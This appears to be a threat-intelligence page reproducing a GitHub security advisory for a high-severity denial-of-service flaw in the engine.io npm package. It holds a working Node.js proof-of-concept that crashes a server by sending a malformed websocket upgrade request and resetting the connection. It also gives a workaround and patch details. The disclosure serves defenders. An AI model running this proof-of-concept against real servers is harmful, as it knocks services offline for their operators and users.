HIGHCVSS v3.1 7.5Vulnerability

CVE-2026-137200

### Summary A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**. ### Proof of concept ```js import net from "node:net"; import http from "node:http"; import { Server } from "engine.io"; // Start a vulnerable Engine.IO server const engine = new Server(); const server = http.createServer(); engine.attach(server); server.listen(3000, () => { console.log("Vulnerable server listening on port 3000"); // Attacker: Send an invalid upgrade request and disconnect abruptly const socket = net.connect(3000, () => { socket.write( "GET / HTTP/1.1\r\n" + "Connection: Upgrade\r\n" + "Upgrade: websocket\r\n" + "\r\n" ); // Disconnect before the 1000ms timeout setTimeout(() => socket.resetAndDestroy(), 10); }); }); ``` **Expected Result:** The server crashes with: ``` Unhandled 'error' event (ECONNRESET) ``` ### Patches Fixed in: - `[email protected]` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31) ### Workarounds In vulnerable versions, the issue can be mitigated by registering a listener for the `error` event: ```js import http from "node:http"; import { Server } from "engine.io"; const engine = new Server(); const server = http.createServer(); // WORKAROUND: Add a global "upgrade" handler to catch ALL sockets server.on("upgrade", (req, socket, head) => { socket.on("error", (err) => { console.debug(`[Workaround] Upgrade error: ${err.message}`); }); }); engine.attach(server); server.listen(3000); ``` Note: This is a **temporary mitigation**. Upgrading to `[email protected]` and above is the recommende

Properties

Severity
high
Summary
Socket.IO: Engine.IO DoS via unhandled upgrade error
Nvd fetched at
2026-12-01T06:30:34.011967+00:00
Cvss severity
HIGH
Cvss score
7.5
Retrieved at
2026-12-01T06:31:18+00:00
Ghsa published
2026-12-01T02:56:43Z
Source url
https://github.com/advisories/GHSA-v775-f652-7rv6
Ghsa updated
2026-12-01T02:56:44Z
Ghsa id
GHSA-v775-f652-7rv6
Last source
GitHub Advisory Database
Score
7.5
Cvss version
3.1
Cve id
CVE-2026-137200
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
First seen by Signal
2026-11-30T22:28:40+00:00
Name
CVE-2026-137200
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Published at
2026-11-30T21:17:25.680

Related Entities (3)

AFFECTS (1)

→[Software]npm/engine.io

HAS_WEAKNESS (1)

→[Weakness]Uncaught Exception

VULNERABLE_TO (1)

←[Software]npm/engine.io

Related research

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-137200 (CVSS v3.1 7.5) — Ninja Signal Threat Intelligence | Ninja Signal